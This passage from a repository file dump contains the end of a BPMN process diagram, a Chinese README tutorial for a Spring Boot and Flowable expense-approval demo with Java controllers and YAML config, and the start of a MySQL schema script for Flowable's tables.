id=\"BPMNEdge_flow2\">\n                <omgdi:waypoint x=\"505.0\" y=\"150.16611295681062\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"585.4333333333333\" y=\"150.43333333333334\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"judgeLess\" id=\"BPMNEdge_judgeLess\">\n                <omgdi:waypoint x=\"624.5530726256983\" y=\"150.44692737430168\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"735.0\" y=\"150.1392757660167\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"directorNotPassFlow\" id=\"BPMNEdge_directorNotPassFlow\">\n                <omgdi:waypoint x=\"785.0\" y=\"110.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"785.0\" y=\"37.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"37.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"110.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"bossPassFlow\" id=\"BPMNEdge_bossPassFlow\">\n                <omgdi:waypoint x=\"655.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"771.0\" y=\"295.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"judgeMore\" id=\"BPMNEdge_judgeMore\">\n                <omgdi:waypoint x=\"605.4340277777778\" y=\"169.56597222222223\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"605.1384083044983\" y=\"255.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"directorPassFlow\" id=\"BPMNEdge_directorPassFlow\">\n                <omgdi:waypoint x=\"785.0\" y=\"190.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"785.0\" y=\"281.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"bossNotPassFlow\" id=\"BPMNEdge_bossNotPassFlow\">\n                <omgdi:waypoint x=\"555.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"190.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n        </bpmndi:BPMNPlane>\n    </bpmndi:BPMNDiagram>\n</definitions>\n~~~\n\n\n\n其中的两个代理类为：\n\n~~~java\nimport org.flowable.engine.delegate.TaskListener;\nimport org.flowable.task.service.delegate.DelegateTask;\n \npublic class ManagerTaskHandler implements TaskListener {\n \n    @Override\n    public void notify(DelegateTask delegateTask) {\n        delegateTask.setAssignee(\"经理\");\n    }\n \n}\n~~~\n\n~~~java\npublic class BossTaskHandler implements TaskListener {\n \n    @Override\n    public void notify(DelegateTask delegateTask) {\n        delegateTask.setAssignee(\"老板\");\n    }\n \n}\n~~~\n\n\n\n尽管上面的BPMN文件很长，但放心，毕竟那是通过相关的工具生成出来的，对于核心的逻辑部分也很少（主要在process 标签内） ，如需要详细了解的可自行学习下BPMN的标签即可！当然，在flowable的使用文档中也有相关的描述,详见：Creating a ProcessEngine\n--------------------- \n\n\n![微信图片_20190521103749](assets/微信图片_20190521103749.png)\n\n\n\n\n\n#### 这样当此框架启动的时候它会默认加载resource目录下的processes时就可以将此流程配置加载到数据库进行持久化了\n\n\n\n# 测试controller\n\n为了方便这里通过一个controller来完成此DEMO的快速编写\n\n\n\n~~~java\n@Controller\npublic class ExpenseController {\n    @Autowired\n    private RuntimeService runtimeService;\n    @Autowired\n    private TaskService taskService;\n    @Autowired\n    private RepositoryService repositoryService;\n    @Autowired\n    private ProcessEngine processEngine;\n \n/***************此处为业务代码******************/\n}\n\n~~~\n\n\n\n~~~java\n/**\n     * 添加报销\n     *\n     * @param userId    用户Id\n     * @param money     报销金额\n     * @param descption 描述\n     */\n    @RequestMapping(value = \"add\")\n    @ResponseBody\n    public String addExpense(String userId, Integer money, String descption) {\n        //启动流程\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"taskUser\", userId);\n        map.put(\"money\", money);\n        ProcessInstance processInstance = runtimeService.startProcessInstanceByKey(\"Expense\", map);\n        return \"提交成功.流程Id为：\" + processInstance.getId();\n    }\n~~~\n\n\n\n~~~java\n/**\n     * 获取审批管理列表\n     */\n    @RequestMapping(value = \"/list\")\n    @ResponseBody\n    public Object list(String userId) {\n        List<Task> tasks = taskService.createTaskQuery().taskAssignee(userId).orderByTaskCreateTime().desc().list();\n        for (Task task : tasks) {\n            System.out.println(task.toString());\n        }\n        return tasks.toArray().toString();\n    }\n~~~\n\n~~~java\n/**\n     * 批准\n     *\n     * @param taskId 任务ID\n     */\n    @RequestMapping(value = \"apply\")\n    @ResponseBody\n    public String apply(String taskId) {\n        Task task = taskService.createTaskQuery().taskId(taskId).singleResult();\n        if (task == null) {\n            throw new RuntimeException(\"流程不存在\");\n        }\n        //通过审核\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"outcome\", \"通过\");\n        taskService.complete(taskId, map);\n        return \"processed ok!\";\n    }\n~~~\n\n~~~java\n /**\n     * 拒绝\n     */\n    @ResponseBody\n    @RequestMapping(value = \"reject\")\n    public String reject(String taskId) {\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"outcome\", \"驳回\");\n        taskService.complete(taskId, map);\n        return \"reject\";\n    }\n~~~\n\n~~~java\n /**\n     * 生成流程图\n     *\n     * @param processId 任务ID\n     */\n    @RequestMapping(value = \"processDiagram\")\n    public void genProcessDiagram(HttpServletResponse httpServletResponse, String processId) throws Exception {\n        ProcessInstance pi = runtimeService.createProcessInstanceQuery().processInstanceId(processId).singleResult();\n \n        //流程走完的不显示图\n        if (pi == null) {\n            return;\n        }\n        Task task = taskService.createTaskQuery().processInstanceId(pi.getId()).singleResult();\n        //使用流程实例ID，查询正在执行的执行对象表，返回流程实例对象\n        String InstanceId = task.getProcessInstanceId();\n        List<Execution> executions = runtimeService\n                .createExecutionQuery()\n                .processInstanceId(InstanceId)\n                .list();\n \n        //得到正在执行的Activity的Id\n        List<String> activityIds = new ArrayList<>();\n        List<String> flows = new ArrayList<>();\n        for (Execution exe : executions) {\n            List<String> ids = runtimeService.getActiveActivityIds(exe.getId());\n            activityIds.addAll(ids);\n        }\n \n        //获取流程图\n        BpmnModel bpmnModel = repositoryService.getBpmnModel(pi.getProcessDefinitionId());\n        ProcessEngineConfiguration engconf = processEngine.getProcessEngineConfiguration();\n        ProcessDiagramGenerator diagramGenerator = engconf.getProcessDiagramGenerator();\n        InputStream in = diagramGenerator.generateDiagram(bpmnModel, \"png\", activityIds, flows, engconf.getActivityFontName(), engconf.getLabelFontName(), engconf.getAnnotationFontName(), engconf.getClassLoader(), 1.0);\n        OutputStream out = null;\n        byte[] buf = new byte[1024];\n        int legth = 0;\n        try {\n            out = httpServletResponse.getOutputStream();\n            while ((legth = in.read(buf)) != -1) {\n                out.write(buf, 0, legth);\n            }\n        } finally {\n            if (in != null) {\n                in.close();\n            }\n            if (out != null) {\n                out.close();\n            }\n        }\n    } \n~~~\n\n通过传入流程ID生成当前流程的流程图给前端,如果流程中使用到中文且生成的图片是乱码的，则需要进配置下字体：\n\n~~~java\n/**\n * @author haiyangp\n * date:  2018/4/7\n * desc: flowable配置----为放置生成的流程图中中文乱码\n */\n@Configuration\npublic class FlowableConfig implements EngineConfigurationConfigurer<SpringProcessEngineConfiguration> {\n \n    @Override\n    public void configure(SpringProcessEngineConfiguration engineConfiguration) {\n        engineConfiguration.setActivityFontName(\"宋体\");\n        engineConfiguration.setLabelFontName(\"宋体\");\n        engineConfiguration.setAnnotationFontName(\"宋体\");\n    }\n} \n~~~\n\n\n\n#### 测试请求\n\n1.先启动好此项目，然后创建一个流程：\n\n访问：http://localhost:8080/expense/add?userId=123&money=123321\n\n返回：提交成功.流程Id为：2501\n\n \n\n2.查询待办列表:\n\n访问：http://localhost:8080/expense/list?userId=123\n\n输出：Task[id=2507, name=出差报销]\n\n \n\n3.同意： \n\n​\t==注意 : 带的是taskid==\n\n访问：http://localhost:8080/expense/apply?taskId=2507\n\n返回：processed ok!\n\n \n\n4.生成流程图： \n\n访问: http://localhost:8080/expense/processDiagram?processId=2501\n\n![](assets/return_process_img.png)\n\n\n\n\n\n#### 流程设计器 modeler\n\n解压 idm, modeler war包  导入两个war中的 static 包下的文件\n\n![](assets/idm和modeler的静态文件.png)\n\n\n\n#### 重写两个配置类\nAppDispatcherServletConfiguration.java\nApplicationConfiguration\nspringboot 启动类 import 两个配置类\n\n~~~java\n![说明](assets/说明.png)@Import({\n        ApplicationConfiguration.class,\n        AppDispatcherServletConfiguration.class\n})\n@ComponentScan(basePackages = {\"com.example.demo\"})\n@EnableTransactionManagement\n@SpringBootApplication\npublic class DemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n~~~\n\n\n\n![](assets/说明.png)\n\n#### 添加国际化文件\n\n![](assets/国际化文件.png)\n\n\n\n#### 资源文件配置\n\n~~~yml\nspring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/flowable?autoReconnect=true&useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=CTT\n    username: root\n    password: 123456\n  security:\n    filter:\n      dispatcher-types: REQUEST,FORWARD,ASYNC\nflowable:\n  #关闭定时任务JOB\n  async-executor-activate: false\n  common:\n    app:\n      idm-url: http://localhost:8080/expense/\n  idm:\n    app:\n      admin:\n        user-id: admin\n        password: test\n        first-name: admin\n        last-name: admin\n  rest:\n    app:\n      authentication-mode: verify-privilege\n  modeler:\n    app:\n      rest-enabled: true\n  database-schema-update: true\nmybatis:\n  mapper-locations: classpath:/META-INF/modeler-mybatis-mappings/*.xml\n  config-location: classpath:/META-INF/mybatis-config.xml\n  configuration-properties:\n    prefix:\n    blobType: BLOB\n    boolValue: TRUE\nserver:\n  servlet:\n    context-path: /expense\n\n~~~\n\n\n\n\n\n\n\n\n\n#### 参与贡献\n\n1. Fork 本仓库\n2. 新建 Feat_xxx 分支\n3. 提交代码\n4. 新建 Pull Request\n\n\n#### 码云特技\n\n1. 使用 Readme\\_XXX.md 来支持不同的语言，例如 Readme\\_en.md, Readme\\_zh.md\n2. 码云官方博客 [blog.gitee.com](https://blog.gitee.com)\n3. 你可以 [https://gitee.com/explore](https://gitee.com/explore) 这个地址来了解码云上的优秀开源项目\n4. [GVP](https://gitee.com/gvp) 全称是码云最有价值开源项目，是码云综合评定出的优秀开源项目\n5. 码云官方提供的使用手册 [https://gitee.com/help](https://gitee.com/help)\n6. 码云封面人物是一档用来展示码云会员风采的栏目 [https://gitee.com/gitee-stars/](https://gitee.com/gitee-stars/)"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/flowable_base.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 127.0.0.1\nSource Server Version : 50719\nSource Host           : localhost:3306\nSource Database       : flowable\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50719\nFile Encoding         : 65001\n\nDate: 2019-05-21 11:03:32\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for act_evt_log\n-- ----------------------------\nDROP TABLE IF EXISTS `act_evt_log`;\nCREATE TABLE `act_evt_log` (\n  `LOG_NR_` bigint(20) NOT NULL AUTO_INCREMENT,\n  `TYPE_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TIME_STAMP_` timestamp(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3),\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DATA_` longblob,\n  `LOCK_OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `LOCK_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `IS_PROCESSED_` tinyint(4) DEFAULT '0',\n  PRIMARY KEY (`LOG_NR_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_evt_log\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ge_bytearray\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ge_bytearray`;\nCREATE TABLE `act_ge_bytearray` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DEPLOYMENT_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `BYTES_` longblob,\n  `GENERATED_` tinyint(4) DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_FK_BYTEARR_DEPL` (`DEPLOYMENT_ID_`),\n  CONSTRAINT `ACT_FK_BYTEARR_DEPL` FOREIGN KEY (`DEPLOYMENT_ID_`) REFERENCES `act_re_deployment` (`id_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ge_bytearray\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ge_property\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ge_property`;\nCREATE TABLE `act_ge_property` (\n  `NAME_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `VALUE_` varchar(300) COLLATE utf8_bin DEFAULT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  PRIMARY KEY (`NAME_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ge_property\n-- ----------------------------\nINSERT INTO `act_ge_property` VALUES ('cfg.execution-related-entities-count', 'true', '1');\nINSERT INTO `act_ge_property` VALUES ('cfg.task-related-entities-count', 'true', '1');\nINSERT INTO `act_ge_property` VALUES ('common.schema.version', '6.4.0.0', '1');\nINSERT INTO `act_ge_property` VALUES ('identitylink.schema.version', '6.4.0.0', '1');\nINSERT INTO `act_ge_property` VALUES ('job.schema.version', '6.4.0.0', '1');\nINSERT INTO `act_ge_property` VALUES ('next.dbid', '1', '1');\nINSERT INTO `act_ge_property` VALUES ('schema.history', 'create(6.3.2.0)', '1');\nINSERT INTO `act_ge_property` VALUES ('schema.version', '6.4.0.0', '1');\nINSERT INTO `act_ge_property` VALUES ('task.schema.version', '6.4.0.0', '1');\nINSERT INTO `act_ge_property` VALUES ('variable.schema.version', '6.4.0.0', '1');\n\n-- ----------------------------\n-- Table structure for act_hi_actinst\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_actinst`;\nCREATE TABLE `act_hi_actinst` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT '1',\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `ACT_ID_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CALL_PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ACT_NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `ACT_TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `ASSIGNEE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `START_TIME_` datetime(3) NOT NULL,\n  `END_TIME_` datetime(3) DEFAULT NULL,\n  `DURATION_` bigint(20) DEFAULT NULL,\n  `DELETE_REASON_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_HI_ACT_INST_START` (`START_TIME_`),\n  KEY `ACT_IDX_HI_ACT_INST_END` (`END_TIME_`),\n  KEY `ACT_IDX_HI_ACT_INST_PROCINST` (`PROC_INST_ID_`,`ACT_ID_`),\n  KEY `ACT_IDX_HI_ACT_INST_EXEC` (`EXECUTION_ID_`,`ACT_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_actinst\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_attachment\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_attachment`;\nCREATE TABLE `act_hi_attachment` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DESCRIPTION_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `URL_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CONTENT_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TIME_` datetime(3) DEFAULT NULL,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_attachment\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_comment\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_comment`;\nCREATE TABLE `act_hi_comment` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TIME_` datetime(3) NOT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ACTION_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `MESSAGE_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `FULL_MSG_` longblob,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_comment\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_detail\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_detail`;\nCREATE TABLE `act_hi_detail` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ACT_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `VAR_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TIME_` datetime(3) NOT NULL,\n  `BYTEARRAY_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DOUBLE_` double DEFAULT NULL,\n  `LONG_` bigint(20) DEFAULT NULL,\n  `TEXT_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TEXT2_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_HI_DETAIL_PROC_INST` (`PROC_INST_ID_`),\n  KEY `ACT_IDX_HI_DETAIL_ACT_INST` (`ACT_INST_ID_`),\n  KEY `ACT_IDX_HI_DETAIL_TIME` (`TIME_`),\n  KEY `ACT_IDX_HI_DETAIL_NAME` (`NAME_`),\n  KEY `ACT_IDX_HI_DETAIL_TASK_ID` (`TASK_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_detail\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_identitylink\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_identitylink`;\nCREATE TABLE `act_hi_identitylink` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `GROUP_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` datetime(3) DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_HI_IDENT_LNK_USER` (`USER_ID_`),\n  KEY `ACT_IDX_HI_IDENT_LNK_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_IDENT_LNK_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_IDENT_LNK_TASK` (`TASK_ID_`),\n  KEY `ACT_IDX_HI_IDENT_LNK_PROCINST` (`PROC_INST_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_identitylink\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_procinst\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_procinst`;\nCREATE TABLE `act_hi_procinst` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT '1',\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `BUSINESS_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `START_TIME_` datetime(3) NOT NULL,\n  `END_TIME_` datetime(3) DEFAULT NULL,\n  `DURATION_` bigint(20) DEFAULT NULL,\n  `START_USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `START_ACT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `END_ACT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUPER_PROCESS_INSTANCE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DELETE_REASON_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CALLBACK_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CALLBACK_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  UNIQUE KEY `PROC_INST_ID_` (`PROC_INST_ID_`),\n  KEY `ACT_IDX_HI_PRO_INST_END` (`END_TIME_`),\n  KEY `ACT_IDX_HI_PRO_I_BUSKEY` (`BUSINESS_KEY_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_procinst\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_taskinst\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_taskinst`;\nCREATE TABLE `act_hi_taskinst` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT '1',\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_DEF_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PARENT_TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DESCRIPTION_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `ASSIGNEE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `START_TIME_` datetime(3) NOT NULL,\n  `CLAIM_TIME_` datetime(3) DEFAULT NULL,\n  `END_TIME_` datetime(3) DEFAULT NULL,\n  `DURATION_` bigint(20) DEFAULT NULL,\n  `DELETE_REASON_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `PRIORITY_` int(11) DEFAULT NULL,\n  `DUE_DATE_` datetime(3) DEFAULT NULL,\n  `FORM_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CATEGORY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `LAST_UPDATED_TIME_` datetime(3) DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_HI_TASK_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_TASK_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_TASK_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_TASK_INST_PROCINST` (`PROC_INST_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_taskinst\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_hi_varinst\n-- ----------------------------\nDROP TABLE IF EXISTS `act_hi_varinst`;\nCREATE TABLE `act_hi_varinst` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT '1',\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `VAR_TYPE_` varchar(100) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `BYTEARRAY_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DOUBLE_` double DEFAULT NULL,\n  `LONG_` bigint(20) DEFAULT NULL,\n  `TEXT_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TEXT2_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` datetime(3) DEFAULT NULL,\n  `LAST_UPDATED_TIME_` datetime(3) DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_HI_PROCVAR_NAME_TYPE` (`NAME_`,`VAR_TYPE_`),\n  KEY `ACT_IDX_HI_VAR_SCOPE_ID_TYPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_VAR_SUB_ID_TYPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_HI_PROCVAR_PROC_INST` (`PROC_INST_ID_`),\n  KEY `ACT_IDX_HI_PROCVAR_TASK_ID` (`TASK_ID_`),\n  KEY `ACT_IDX_HI_PROCVAR_EXE` (`EXECUTION_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_hi_varinst\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_bytearray\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_bytearray`;\nCREATE TABLE `act_id_bytearray` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `BYTES_` longblob,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- 